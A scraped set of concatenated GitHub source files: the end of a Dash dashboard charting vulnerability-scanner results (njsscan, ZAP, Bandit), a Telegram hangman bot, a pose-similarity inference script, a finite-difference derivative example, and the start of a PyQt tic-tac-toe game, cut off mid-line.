df_php.scan_details_id.value_counts()\n scan_details_id_count = {'Unique Scan Id':scan_details_id.keys(),\n 'Count of Scan':scan_details_id.values\n }\n \n php = [\n html.H1(\"PHP live data visualizationsis\"),\n html.Li(\"Total No of Scan Done So far: {}\".format(php_no_of_scan)),\n html.Li(\"Vulnerabilities Name:- {} Vulnerabilities Count:- {}\".format(php_vuln_name_count['Vulnerabilities Name'][0],php_vuln_name_count['Tool Count'][0])),\n html.Li(\"Vulnerabilities Name:- {} Vulnerabilities Count:- {}\".format(php_vuln_name_count['Vulnerabilities Name'][1],php_vuln_name_count['Tool Count'][1])),\n html.Li(\"Vulnerabilities Name:- {} Vulnerabilities Count:- {}\".format(php_vuln_name_count['Vulnerabilities Name'][2],php_vuln_name_count['Tool Count'][2])),\n html.Li(\"Vulnerabilities Name:- {} Vulnerabilities Count:- {}\".format(php_vuln_name_count['Vulnerabilities Name'][3],php_vuln_name_count['Tool Count'][3])),\n html.Li(\"Vulnerabilities Name:- {} Vulnerabilities Count:- {}\".format(php_vuln_name_count['Vulnerabilities Name'][4],php_vuln_name_count['Tool Count'][4])),\n # Vulnerabilities Names and it Count\n dcc.Graph(id='vuln_name_bar',\n figure= px.pie(php_vuln_name_count,\n names = 'Vulnerabilities Name',\n values = 'Tool Count',\n hole=.2,\n title='Top Vulnerabilities Name in PHP Tool',\n color_discrete_sequence= px.colors.sequential.Plasma,\n labels={'x':\"Vulnerabilities Name\",'y':'PHP Vulnerabilities Count'}),\n config= {'displaylogo': False}\n ),\n \n # PHP Vulnerabilities Severity\n #html.Li(\"Vulnerabilities Severity:- {} Count:- {}\".format(php_vuln_severity_count['Vulnerabilities Severity'][0],php_vuln_severity_count['Vulnerabilities Count'][0])),\n #html.Li(\"Vulnerabilities Severity:- {} Count:- {}\".format(php_vuln_severity_count['Vulnerabilities Severity'][1],php_vuln_severity_count['Vulnerabilities Count'][1])),\n #html.Li(\"Vulnerabilities Severity:- {} Count:- {}\".format(php_vuln_severity_count['Vulnerabilities Severity'][2],php_vuln_severity_count['Vulnerabilities Count'][2])),\n \n #dcc.Graph(id='vuln_severity_graph',\n # figure=px.pie(php_vuln_severity_count, \n # names='Vulnerabilities Severity',\n # values= 'Vulnerabilities Count',\n # hole=.3,\n # opacity = .3,\n # #hover_data=\"label+percent+name\",\n # title='Vulnerabilities Severity In PHP Scan Tool'),config= {'displaylogo': False}\n # ),\n\n # PHP Vulnerabilities Confidence\n #html.Li(\"Vulnerabilities Confidence:- {} Count:- {}\".format(php_vuln_confidence_count['Vulnerabilities Confidence'][0],php_vuln_confidence_count['Vulnerabilities Count'][0])),\n #html.Li(\"Vulnerabilities Confidence:- {} Count:- {}\".format(php_vuln_confidence_count['Vulnerabilities Confidence'][1],php_vuln_confidence_count['Vulnerabilities Count'][1])),\n #html.Li(\"Vulnerabilities Confidence:- {} Count:- {}\".format(php_vuln_confidence_count['Vulnerabilities Confidence'][2],php_vuln_confidence_count['Vulnerabilities Count'][2])),\n #dcc.Graph(id = \"vuln_severity_barchart\",\n # figure=px.bar(php_vuln_confidence_count, \n # x='Vulnerabilities Confidence',\n # y = 'Vulnerabilities Count',\n # color_discrete_sequence= px.colors.sequential.OrRd,\n # title='Vulnerabilities Severity In PHP'),config= {'displaylogo': False}\n # ),\n # Total No False Positive and Nagative\n #html.H4(\"Total No Result Processed by PHP Machine Learning Model API is:- {}\".format(sum(php_false_postive_count['False Positive Count']))),\n #html.Li(\"True Positive is : {} :- Count:- {}\".format(php_false_postive_count['False Positive'][0],php_false_postive_count['False Positive Count'][0])),\n #html.Li(\"False Postive is : {} :- Count:- {}\".format(php_false_postive_count['False Positive'][1],php_false_postive_count['False Positive Count'][1])),\n #dcc.Graph(id = \"false_positive_barchart\",\n # figure=px.pie(php_false_postive_count, \n # names = 'False Positive',\n # hole = .5,\n # color_discrete_sequence = px.colors.sequential.Darkmint,\n # values = 'False Positive Count', \n # title='False Positive'),config= {'displaylogo': False}\n # ),\n # Scan Detials\n dcc.Graph(id='scan-details-bar',\n figure= px.bar(scan_details_id_count,\n x = 'Unique Scan Id',\n y = 'Count of Scan',\n title='Top Vulnerabilities Name in PHP Tool',\n color_discrete_sequence= px.colors.sequential.Plasma,\n ),\n config= {'displaylogo': False}\n ),\n ]\n return php\n elif pathname == \"/nodejs\":\n nodejs_no_of_scan = df_njsscan.scan_token.count()\n\n # Vulnerabilities Names Count\n nodejs_high_count = df_njsscan.vuln_confidence.str.lower().value_counts()\n nodejs_vuln_names = df_njsscan.vuln_name.value_counts()\n nodejs_vuln_name_count = {'Vulnerabilities Name':nodejs_vuln_names.keys(),\n 'Tool Count':nodejs_vuln_names.values}\n\n # Vulnerabilities Severity_count\n nodejs_vuln_severity = df_njsscan.vuln_severity.value_counts()\n nodejs_vuln_severity_count = {'Vulnerabilities Severity':nodejs_vuln_severity.keys(),\n 'Vulnerabilities Count': nodejs_vuln_severity.values\n }\n\n # Vulnerabilities Confidence Count\n nodejs_vuln_confidence = df_njsscan.vuln_confidence.value_counts()\n nodejs_vuln_confidence_count = {'Vulnerabilities Confidence':nodejs_vuln_confidence.keys(),\n 'Vulnerabilities Count': nodejs_vuln_confidence.values\n }\n # False Postive Data \n nodejs_false_postive = df_njsscan['false_positive'].value_counts()\n nodejs_false_postive_count = {'False Positive':nodejs_false_postive.keys(),\n 'False Positive Count': nodejs_false_postive.values\n }\n\n #brakeman_vuln_name_count = df_brakeman.vuln_name.value_counts()\n #brakeman_vuln_names = df_brakeman.vuln_name.unique()\n #brakeman_no_of_scan = df_brakeman.scan_token.count()\n nodejs_high_count = df_njsscan.vuln_confidence.str.lower().value_counts()\n \n nodejs = [ \n html.H1(\"Nodejs live data visualizationsis\"),\n html.Li(\"Total No of Scan Done So far: {}\".format(nodejs_no_of_scan)),\n\n # Vulnerabilities Names and it Count\n html.Li(\"Vulnerabilities Name:- {} Vulnerabilities Count:- {}\".format(nodejs_vuln_name_count['Vulnerabilities Name'][0],nodejs_vuln_name_count['Tool Count'][0])),\n #html.Li(\"Vulnerabilities Name:- {} Vulnerabilities Count:- {}\".format(nodejs_vuln_name_count['Vulnerabilities Name'][1],nodejs_vuln_name_count['Tool Count'][1])),\n #html.Li(\"Vulnerabilities Name:- {} Vulnerabilities Count:- {}\".format(nodejs_vuln_name_count['Vulnerabilities Name'][2],nodejs_vuln_name_count['Tool Count'][2])),\n \n \n dcc.Graph(id='vuln_name_bar',\n figure= px.pie(nodejs_vuln_name_count,\n names = 'Vulnerabilities Name',\n values = 'Tool Count',\n title='Top Vulnerabilities Name in Nodejs Tool',\n color_discrete_sequence= px.colors.sequential.Plasma,\n labels={'x':\"Vulnerabilities Name\",'y':'Nodejs Vulnerabilities Count'}),\n config= {'displaylogo': False}\n ),\n \n # NodeJs Vulnerabilities Severity\n html.Li(\"Vulnerabilities Severity:- {} Count:- {}\".format(nodejs_vuln_severity_count['Vulnerabilities Severity'][0],nodejs_vuln_severity_count['Vulnerabilities Count'][0])),\n #html.Li(\"Vulnerabilities Severity:- {} Count:- {}\".format(nodejs_vuln_severity_count['Vulnerabilities Severity'][1],nodejs_vuln_severity_count['Vulnerabilities Count'][1])),\n #html.Li(\"Vulnerabilities Severity:- {} Count:- {}\".format(nodejs_vuln_severity_count['Vulnerabilities Severity'][2],nodejs_vuln_severity_count['Vulnerabilities Count'][2])),\n \n dcc.Graph(id='vuln_severity_graph',\n figure=px.bar(nodejs_vuln_severity_count, \n x='Vulnerabilities Severity',\n y = 'Vulnerabilities Count',\n title='Vulnerabilities Severity In Nodejs Scan Tool'),config= {'displaylogo': False}\n ),\n\n # Nodejs Vulnerabilities Confidence\n #html.Li(\"Vulnerabilities Confidence:- {} Count:- {}\".format(nodejs_vuln_confidence_count['Vulnerabilities Confidence'][0],brakeman_vuln_confidence_count['Vulnerabilities Count'][0])),\n #html.Li(\"Vulnerabilities Confidence:- {} Count:- {}\".format(nodejs_vuln_confidence_count['Vulnerabilities Confidence'][1],brakeman_vuln_confidence_count['Vulnerabilities Count'][1])),\n #html.Li(\"Vulnerabilities Confidence:- {} Count:- {}\".format(brakeman_vuln_confidence_count['Vulnerabilities Confidence'][2],brakeman_vuln_confidence_count['Vulnerabilities Count'][2])),\n #dcc.Graph(id = \"vuln_severity_barchart\",\n # figure=px.bar(brakeman_vuln_confidence_count, \n # x='Vulnerabilities Confidence',\n # y = 'Vulnerabilities Count',\n # color_discrete_sequence= px.colors.sequential.OrRd,\n # title='Vulnerabilities Severity In Nodejs'),config= {'displaylogo': False}\n # ),\n # Total No False Positive and Nagative\n html.H4(\"Total No Result Processed by Bandit Machine Learning Model API is:- {}\".format(sum(nodejs_false_postive_count['False Positive Count']))),\n html.Li(\"True Positive is : {} :- Count:- {}\".format(nodejs_false_postive_count['False Positive'][0],nodejs_false_postive_count['False Positive Count'][0])),\n #html.Li(\"False Postive is : {} :- Count:- {}\".format(brakeman_false_postive_count['False Positive'][1],brakeman_false_postive_count['False Positive Count'][1])),\n dcc.Graph(id = \"false_positive_barchart\",\n figure=px.pie(nodejs_false_postive_count, \n names = 'False Positive',\n hole = .5,\n color_discrete_sequence = px.colors.sequential.Darkmint,\n values = 'False Positive Count', \n title='False Positive'),config= {'displaylogo': False}\n ),\n ]\n\n return nodejs\n elif pathname == \"/semgrep\":\n return [ ]\n elif pathname == \"/zapdata\":\n # Zap Scan Token count\n zap_no_of_scan = df_zap.scan_token.count()\n zap_tool_names = df_zap.tool_name.value_counts()\n zap_tool_names_count = {'Tool Names':zap_tool_names.keys(),\n 'Count':zap_tool_names.values\n }\n # Vulnerability Names \n zap_vuln_name = df_zap.vuln_name.value_counts()\n zap_vuln_names_count = {'Vulnerability Name':zap_vuln_name.keys(),\n \"Vulnerability Count\":zap_vuln_name.values}\n\n risk_code = df_zap.risk_code.value_counts()\n risk_code_count = {'Risk Code':risk_code.keys(),\n \"Risk Count\":risk_code.values}\n confidence = df_zap.confidence.value_counts()\n confidence_code = {'Confidence':confidence.keys(),\n 'Count':confidence.values}\n risk_desc = df_zap.risk_desc.value_counts()\n risk_desc_count = {'Risk desc':risk_desc.keys(),'Count':risk_desc.values}\n\n cwe = df_zap.cwe.value_counts()\n cwe_count = {'CWE No':cwe.keys(),\"CWE Count\":cwe.values}\n\n zap = [ html.H2('Zap Live Dashboard:'),\n html.Li(\"Total No of Scan Done so far: {} \".format(zap_no_of_scan)),\n html.H4('Different Scan Done With Different Tool Names'),\n html.Li(\"Tool names {} and it's Count {}\".format(zap_tool_names_count['Tool Names'][0],zap_tool_names_count['Count'][0])),\n html.Li(\"Tool names {} and it's Count {}\".format(zap_tool_names_count['Tool Names'][1],zap_tool_names_count['Count'][1])),\n html.Li(\"Tool names {} and it's Count {}\".format(zap_tool_names_count['Tool Names'][2],zap_tool_names_count['Count'][2])),\n html.Li(\"Tool names {} and it's Count {}\".format(zap_tool_names_count['Tool Names'][3],zap_tool_names_count['Count'][3])),\n html.Li(\"Tool names {} and it's Count {}\".format(zap_tool_names_count['Tool Names'][4],zap_tool_names_count['Count'][4])),\n dcc.Graph(id='tool_bar',\n figure= px.bar(zap_tool_names_count,\n x = 'Tool Names',\n y = 'Count',\n title='Top Tool Name in ZAP Tool',\n color_discrete_sequence= px.colors.sequential.Plasma,\n text_auto='.2s',\n labels={'x':\"Tool Name\",'y':'Zap Tool Count'}),\n config= {'displaylogo': False},\n ),\n html.H5('Total Vulnerability Found in OWASP ZAP: {}'.format(sum(zap_vuln_names_count[ \"Vulnerability Count\"]))),\n dcc.Graph(id='vuln_name_bar',\n figure= px.pie(zap_vuln_names_count,\n names = 'Vulnerability Name',\n values = 'Vulnerability Count',\n hole=0.5,\n title='Top Vulnerabilities Name in ZAP Tool',\n color_discrete_sequence= px.colors.sequential.Plasma,\n labels={'x':\"Vulnerabilities Name\",'y':'Zap Vulnerabilities Count'}),\n config= {'displaylogo': False},\n ),\n html.H5('Total Risk Code in Zap tools {}'.format(sum(risk_code.values))),\n dcc.Graph(id='risk_bar',\n figure= px.bar(risk_code_count,\n x = 'Risk Code',\n y = 'Risk Count',\n title='Top Risk Count in ZAP Tool',\n color_discrete_sequence= px.colors.sequential.Plasma,\n text_auto='.2s',\n ),\n config= {'displaylogo': False},\n ),\n html.H5(\"Total count Common Weakness Enumeration (cwe): {}\".format(sum(cwe_count['CWE Count']))),\n dcc.Graph(id='cwe_bar',\n figure= px.pie(cwe_count,\n names= 'CWE No',\n values= 'CWE Count',\n title='Risk Desc in ZAP Tool',\n hole=.4,\n color_discrete_sequence= px.colors.sequential.Plasma),\n config= {'displaylogo': False}\n ),\n html.H5('Total Confidence in Zap tools {}'.format(sum(confidence.values))),\n dcc.Graph(id='risk_bar',\n figure= px.bar(confidence_code,\n x = 'Confidence',\n y = 'Count',\n title='Top Confidence in ZAP Tool',\n color_discrete_sequence= px.colors.sequential.Plasma,\n text_auto='.2s',\n ),\n config= {'displaylogo': False},\n ),\n dcc.Graph(id='risk_desc_pie',\n figure= px.pie(risk_desc_count,\n names= 'Risk desc',\n values= 'Count',\n title='Risk Desc in ZAP Tool',\n hole=.4,\n color_discrete_sequence= px.colors.sequential.Plasma\n ),\n config= {'displaylogo': False}\n ),\n \n ] \n return zap\n elif pathname == \"/time\":\n df = df_bandit.copy()\n df['Year'] = df.created_at.dt.year\n test_id_codes = []\n for i in df.test_id:\n test_id_code = int(i[1:])\n d = test_id_codes.append(test_id_code)\n df['test_id_encode'] = test_id_codes\n \n #df.vuln_id.plot(figsize=(30,15))\n #plt.ylabel(\"Hourly Data Created Count\")\n\n return [html.H4('Live Hourly Vulnerabilities ID Data',\n style={'textAlign':'center'}),\n dcc.Graph(id = \"barchart\", figure=px.line(df.vuln_id, x='vuln_id',title='Live Vulnerabilities ID Generated'),config= {'displaylogo': False}),\n \n html.H4(\"Live Weakly Vulnerabilities ID\"),\n #dcc.Graph(id='weaklyVulnerabilities',figure=px.bar()),\n \n html.H4('Daily Secret Scan Tools data creation', style={'textAlign':'center'}),\n dcc.Graph(id = \"Dailysecret\", figure=px.line(sca_tn, x='created_at'),config= {'displaylogo': False}),\n \n\n ]\n\n # If the user tries to reach a different page, return a 404 message\n return dbc.Container(\n [\n html.H1(\"404: Not found\", className=\"text-danger\"),\n html.Hr(),\n html.P(f\"The pathname {pathname} was not recognised...\"),\n ]\n )\n\nif __name__=='__main__':\n app.run_server(debug=True, port=3000)\n\n \n","repo_name":"reddyprasade/Security-Dashboard","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":55744,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"4214427394","text":"import logging\nimport random\n\nfrom aiogram import Bot, Dispatcher, executor, types\nfrom aiogram.contrib.fsm_storage.memory import MemoryStorage\nfrom aiogram.dispatcher.filters.state import State, StatesGroup\nfrom settings import API_TOKEN\n\nwith open('words.txt', 'r', encoding='utf-8') as f:\n corpus = [i.lower() for i in f.read().split('\\n')]\nusers = {}\n\n# Configure logging\nlogging.basicConfig(level=logging.INFO)\n\n# Initialize bot and dispatcher\nbot = Bot(token=API_TOKEN)\ndp = Dispatcher(bot, storage=MemoryStorage())\n\n\nclass Form(StatesGroup):\n all = State()\n game = State()\n\nclass User():\n def __init__(self, id, word):\n self.id = id\n self.word = word\n self.errors = 0\n\n self.state = '_' * len(self.word)\n\n def __repr__(self):\n return f'id: {self.id}, word: {self.word}, state: {self.state}, errors: {self.errors}'\n\n\n@dp.message_handler(state='*', commands=['start'])\nasync def send_welcome(message: types.Message):\n '''\n Хэндлер для обработки команд start\n '''\n await bot.send_message(message.chat.id,\n 'Привет) Я бот-виселица, чтобы начать игру, напиши мне /game')\n\n\n@dp.message_handler(state='*', commands=['game'])\nasync def start_game(message: types.Message):\n await Form.game.set()\n users[message.chat.id] = User(message.chat.id, corpus[random.randint(0, len(corpus) - 1)])\n await bot.send_message(message.chat.id, 'Игра началась! Угадай слово!')\n\n await bot.send_message(message.chat.id, users[message.chat.id].state)\n\n\n@dp.message_handler(state=Form.game)\nasync def game(message: types.Message):\n text = message.text\n id_ = message.chat.id\n print(text, type(text), id_, users)\n if len(text) != 1:\n if users[message.chat.id].word.lower() != text.lower():\n await bot.send_message(message.chat.id, 'Ошибка!')\n users[id_].errors += 1\n if users[id_].errors == 6:\n await bot.send_message(message.chat.id, 'Поражение((')\n await bot.send_message(message.chat.id, users[id_].word)\n await bot.send_photo(message.chat.id, open(f'{users[id_].errors + 1}.jpg', 'rb'))\n del users[id_]\n await Form.all.set()\n return\n else:\n await bot.send_message(message.chat.id, 'Победа!')\n await bot.send_message(message.chat.id, users[id_].word)\n await bot.send_photo(message.chat.id, open(f'{users[id_].errors + 1}.jpg', 'rb'))\n del users[id_]\n await Form.all.set()\n return\n else:\n if text in users[id_].word and text not in users[id_].state:\n idx = [i for i in range(len(users[id_].word)) if users[id_].word[i] == text]\n for i in idx:\n users[id_].state = users[id_].state[:i] + users[id_].word[i] + users[id_].state[i + 1:]\n if users[id_].state == users[id_].word:\n await bot.send_message(message.chat.id, 'Победа!')\n await bot.send_message(message.chat.id, users[id_].word)\n await bot.send_photo(message.chat.id, open(f'{users[id_].errors + 1}.jpg', 'rb'))\n del users[id_]\n await Form.all.set()\n return\n else:\n users[id_].errors += 1\n if users[id_].errors == 6:\n await bot.send_message(message.chat.id, 'Поражение((')\n await bot.send_message(message.chat.id, users[id_].word)\n await bot.send_photo(message.chat.id, open(f'{users[id_].errors + 1}.jpg', 'rb'))\n del users[id_]\n await Form.all.set()\n return\n await bot.send_message(message.chat.id, 'Ошибка!')\n await bot.send_message(message.chat.id, users[id_].state)\n await bot.send_photo(message.chat.id, open(f'{users[id_].errors + 1}.jpg', 'rb'))\n\n\n\n\nif __name__ == '__main__':\n executor.start_polling(dp, skip_updates=True)\n","repo_name":"gigaster-ops/hangman_bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"21594353227","text":"import os\nimport argparse\n\nimport numpy as np\n\nfrom bpe import Config\nfrom bpe.similarity_analyzer import SimilarityAnalyzer\nfrom bpe.functional.motion import preprocess_motion2d_rc, cocopose2motion\nfrom bpe.functional.utils import pad_to_height\nfrom bpe.functional.visualization import preprocess_sequence, video_out_with_imageio\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--name', type=str, default=\"sim_test\", help=\"task name\")\n parser.add_argument('--data_dir', default=\"\", required=True, help=\"path to dataset dir\")\n parser.add_argument('--model_path', type=str, required=True, help=\"filepath for trained model weights\")\n parser.add_argument('--video1', type=str, required=True, help=\"video1 mp4 path\", default=None)\n parser.add_argument('--video2', type=str, required=True, help=\"video2 mp4 path\", default=None)\n parser.add_argument('-v1', '--vid1_json_dir', type=str, required=True, help=\"video1's coco annotation json\")\n parser.add_argument('-v2', '--vid2_json_dir', type=str, required=True, help=\"video2's coco annotation json\")\n parser.add_argument('-h1', '--img1_height', type=int, help=\"video1's height\", default=480)\n parser.add_argument('-w1', '--img1_width', type=int, help=\"video1's width\", default=854)\n parser.add_argument('-h2', '--img2_height', type=int, help=\"video2's height\", default=480)\n parser.add_argument('-w2', '--img2_width', type=int, help=\"video2's width\", default=854)\n parser.add_argument('-pad2', '--pad2', type=int, help=\"video2's start frame padding\", default=0)\n parser.add_argument('-g', '--gpu_ids', type=int, default=0, required=False)\n parser.add_argument('--out_path', type=str, default='./visual_results', required=False)\n parser.add_argument('--out_filename', type=str, default='twice.mp4', required=False)\n parser.add_argument('--use_flipped_motion', action='store_true',\n help=\"whether to use one decoder per one body part\")\n parser.add_argument('--use_invisibility_aug', action='store_true',\n help=\"change random joints' visibility to invisible during training\")\n parser.add_argument('--debug', action='store_true', help=\"limit to 500 frames\")\n # related to video processing\n parser.add_argument('--video_sampling_window_size', type=int, default=16,\n help='window size to use for similarity prediction')\n parser.add_argument('--video_sampling_stride', type=int, default=16,\n help='stride determining when to start next window of frames')\n parser.add_argument('--use_all_joints_on_each_bp', action='store_true',\n help=\"using all joints on each body part as input, as opposed to particular body part\")\n\n parser.add_argument('--similarity_measurement_window_size', type=int, default=1,\n help='measuring similarity over # of oversampled video sequences')\n parser.add_argument('--similarity_distance_metric', choices=[\"cosine\", \"l2\"], default=\"cosine\")\n parser.add_argument('--privacy_on', action='store_true',\n help='when on, no original video or sound in present in the output video')\n parser.add_argument('--thresh', type=float, default=0.5, help='threshold to seprate positive and negative classes')\n parser.add_argument('--connected_joints', action='store_true', help='connect joints with lines in the output video')\n\n args = parser.parse_args()\n # load meanpose and stdpose\n mean_pose_bpe = np.load(os.path.join(args.data_dir, 'meanpose_rc_with_view_unit64.npy'))\n std_pose_bpe = np.load(os.path.join(args.data_dir, 'stdpose_rc_with_view_unit64.npy'))\n\n if not os.path.exists(args.out_path):\n os.makedirs(args.out_path)\n\n config = Config(args)\n similarity_analyzer = SimilarityAnalyzer(config, args.model_path)\n\n # for NTU-RGB test - it used w:1920, h:1080\n h1, w1, scale1 = pad_to_height(config.img_size[0], args.img1_height, args.img1_width)\n h2, w2, scale2 = pad_to_height(config.img_size[0], args.img2_height, args.img2_width)\n\n # get input suitable for motion similarity analyzer\n seq1 = cocopose2motion(config.unique_nr_joints, args.vid1_json_dir, scale=scale1,\n visibility=args.use_invisibility_aug)\n seq2 = cocopose2motion(config.unique_nr_joints, args.vid2_json_dir, scale=scale2,\n visibility=args.use_invisibility_aug)[:, :, args.pad2:]\n\n # TODO: interpoloation or oef filtering for missing poses.\n seq1 = preprocess_sequence(seq1)\n seq2 = preprocess_sequence(seq2)\n\n seq1_origin = preprocess_motion2d_rc(seq1, mean_pose_bpe, std_pose_bpe,\n invisibility_augmentation=args.use_invisibility_aug,\n use_all_joints_on_each_bp=args.use_all_joints_on_each_bp)\n seq2_origin = preprocess_motion2d_rc(seq2, mean_pose_bpe, std_pose_bpe,\n invisibility_augmentation=args.use_invisibility_aug,\n use_all_joints_on_each_bp=args.use_all_joints_on_each_bp)\n\n # move input to device\n seq1_origin = seq1_origin.to(config.device)\n seq2_origin = seq2_origin.to(config.device)\n\n # get embeddings\n seq1_features = similarity_analyzer.get_embeddings(seq1_origin, video_window_size=args.video_sampling_window_size,\n video_stride=args.video_sampling_stride)\n seq2_features = similarity_analyzer.get_embeddings(seq2_origin, video_window_size=args.video_sampling_window_size,\n video_stride=args.video_sampling_stride)\n\n # get motion similarity\n motion_similarity_per_window = \\\n similarity_analyzer.get_similarity_score(seq1_features, seq2_features,\n similarity_window_size=args.similarity_measurement_window_size)\n if args.use_flipped_motion:\n seq1_flipped = preprocess_motion2d_rc(seq1, mean_pose_bpe, std_pose_bpe, flip=args.use_flipped_motion,\n invisibility_augmentation=args.use_invisibility_aug,\n use_all_joints_on_each_bp=args.use_all_joints_on_each_bp)\n seq1_flipped = seq1_flipped.to(config.device)\n seq1_flipped_features = similarity_analyzer.get_embeddings(seq1_flipped,\n video_window_size=args.video_sampling_window_size,\n video_stride=args.video_sampling_stride)\n motion_similarity_per_window_flipped = \\\n similarity_analyzer.get_similarity_score(seq1_flipped_features, seq2_features,\n similarity_window_size=args.similarity_measurement_window_size)\n for temporal_idx in range(len(motion_similarity_per_window)):\n for key in motion_similarity_per_window[temporal_idx].keys():\n motion_similarity_per_window[temporal_idx][key] = max(motion_similarity_per_window[temporal_idx][key],\n motion_similarity_per_window_flipped[\n temporal_idx][key])\n\n # suppose same video horizontal\n video_width = int(config.img_size[0] / args.img1_height * args.img1_width + config.img_size[0] / args.img2_height * args.img2_width)\n video_height = config.img_size[0]\n\n video_out_with_imageio(output_path=os.path.join(args.out_path, args.out_filename),\n width=video_width, height=video_height,\n sequence1=seq1.transpose(2, 0, 1), sequence2=seq2.transpose(2, 0, 1),\n video1_path=args.video1, video2_path=args.video2,\n left_padding=int(config.img_size[0] / args.img1_height * args.img1_width),\n pad2=args.pad2,\n motion_similarity_per_window=motion_similarity_per_window, is_debug=args.debug,\n thresh=args.thresh,\n privacy_on=args.privacy_on, is_connected_joints=args.connected_joints)\n","repo_name":"chico2121/bpe","sub_path":"bin/inference_single_pair_visuals.py","file_name":"inference_single_pair_visuals.py","file_ext":"py","file_size_in_byte":8360,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"62"} +{"seq_id":"29866501420","text":"'''\nFind the first and second derivatives at x = 0, 0.2, and 0.4 of the following dataset\nx = 0 0.1 0.2 0.3 0.4\nf(x) = 0.0000 0.0819 0.1341 0.1646 0.1797\n'''\n\nx = [0,0.1,0.2,0.3,0.4]\nf = [0.0,0.0819,0.1341,0.1646,0.1797]\n\n# Finite difference in the abscissa h\nh = x[1]-x[0]\n\nnc = 2\n# Forward difference calculation\nf1f = (f[nc+1] - f[nc]) / h\nf2f = (f[nc] - 2*f[nc+1] + f[nc+2]) / h**2\n\n# Central difference calculation\nf1c = (f[nc+1] - f[nc-1]) / (2*h)\nf2c = (f[nc+1] - 2*f[nc] + f[nc-1]) / h**2\n\n# Backward difference calculation\nf1b = (-f[nc-1] + f[nc]) / h\nf2b = (f[nc-2] - 2*f[nc-1] + f[nc]) / h**2\n\nr = lambda x:round(x,8)\n\nprint(\"Forward vs Central vs Backward f1 at x = 0.2 \",r(f1f),r(f1c),r(f1b))\nprint(\"Forward vs Central vs Backward f2 at x = 0.2 \",r(f2f),r(f2c),r(f2b))\n\n# Forward difference at x = 0\nnc = 0\nf1f = (f[nc+1] - f[nc]) / h\nf2f = (f[nc] - 2*f[nc+1] + f[nc+2]) / h**2\n\nprint('')\nprint('Forward f1 and f2 at x = 0 ',r(f1f),r(f2f))\n","repo_name":"ingBE/comphy","sub_path":"04.23/finiteDiff.py","file_name":"finiteDiff.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"5834415255","text":"#!/System/Volumes/Data/anaconda3/bin/python\n\n# -*- coding: utf-8 -*-\n# @Author: Andres Nowak\n# @Date: Wed Feb 12 20:37:40 CST 2020\n\nimport sys\n\nfrom board import Board\nfrom player import Player\nfrom PyQt5.QtWidgets import QApplication\nfrom PyQt5 import QtCore, QtTest\nfrom numpy import transpose\n\n\nclass Game:\n def __init__(self):\n # Define height and width\n WIDTH = 500\n HEIGHT = 500\n # Create players\n self.player1 = Player(u\"\\u0058\", \"color: %s; font-size: %s;\" % (\n \"#ff0000\", \"80px\"))\n self.player2 = Player(u\"\\u20DD\", \"color: %s; font-size: %s;\" % (\n \"#000000\", \"80px\"))\n\n self.turn = 0\n # Prepare the variable to be used to update the buttons with the symbol # of the actual player and the actual stylesheet\n self.list_of_players = [self.player1, self.player2]\n self.actual_player = 1\n self.actual_symbol = self.player1.get_player_sign()\n self.actual_stylesheet = self.player1.get_player_stylesheet()\n # Create the Qt Application\n app = QApplication([])\n # Create and show the form, and connect buttons to event\n self.board = Board(WIDTH, HEIGHT)\n # Change scoreboard of the actual player to say it is its turn\n # with a green color\n self.scoreboard = self.board.get_scoreboard()\n self.scoreboard[self.actual_player-1].setStyleSheet(\n \"font-size: 15px; color: green\")\n\n self.connect_event_to_buttons()\n self.board.show()\n # Convert list of buttons to matrix\n self.convert_button_list_to_matrix()\n # Run the main Qt loop\n sys.exit(app.exec_())\n\n def connect_event_to_buttons(self):\n self.button_list = self.board.get_buttons()\n\n for button in self.button_list:\n button.clicked.connect(self.update_button_text)\n\n def update_button_text(self):\n button = self.board.sender()\n\n button.setStyleSheet(self.actual_stylesheet)\n button.setText(self.actual_symbol)\n # To update the change of text in the button\n button.repaint()\n\n button.setDisabled(True)\n\n self.turn += 1\n\n self.check_if_player_has_won()\n self.update_actual_player()\n self.check_for_tie()\n\n def update_actual_player(self):\n if self.turn == 1:\n self.turn *= -1\n\n self.actual_player = 2\n elif self.turn == 0:\n self.actual_player = 1\n\n self.scoreboard[self.actual_player-1].setStyleSheet(\n \"font-size: 15px; color: green\")\n # To change the text of the other player to black we use the if\n self.scoreboard[1 if self.actual_player-1 == 0 else 0].setStyleSheet(\n \"font-size: 15px; color: black\")\n\n for i in range(2):\n # To update the change of text in the scoreboard\n self.scoreboard[i].repaint()\n\n self.actual_symbol = self.list_of_players[self.actual_player -\n 1].get_player_sign()\n self.actual_stylesheet = self.list_of_players[self.actual_player -\n 1].get_player_stylesheet()\n\n def check_if_player_has_won(self):\n buttons_horizontal_bool = self.check_buttons_horizontally()\n buttons_diagonal_bool = self.check_buttons_diagonally()\n buttons_vertical_bool = self.check_buttons_vertically()\n\n if buttons_horizontal_bool or buttons_diagonal_bool or buttons_vertical_bool:\n self.disable_buttons()\n\n self.update_scoreboard()\n # QtCore.QTimer.singleShot(2000, lambda:num(i))\n QtTest.QTest.qWait(2000)\n self.next_round()\n\n def check_for_tie(self):\n state = 0\n\n for row in self.button_list:\n for button in row:\n if button.isEnabled() == False:\n state += 1\n\n if state == 9:\n QtTest.QTest.qWait(2000)\n self.next_round()\n\n def disable_buttons(self):\n for row in self.button_list:\n for button in row:\n button.setDisabled(True)\n\n def check_buttons_horizontally(self):\n i = 0\n\n for row in self.button_list:\n for index, button in enumerate(row):\n if button.text() == row[index-1].text() and button.text() != \" \" and index != 0:\n i += 1\n\n if i == 2:\n return True\n else:\n i = 0\n\n return False\n\n def check_buttons_vertically(self):\n i = 0\n\n transpose_matrix = transpose(self.button_list)\n for column in transpose_matrix:\n for index, button in enumerate(column):\n if button.text() == column[index-1].text() and button.text() != \" \" and index != 0:\n i += 1\n\n if i == 2:\n return True\n else:\n i = 0\n\n return False\n\n def check_buttons_diagonally(self):\n if self.button_list[0][0].text() == self.button_list[1][1].text() == self.button_list[2][2].text() and 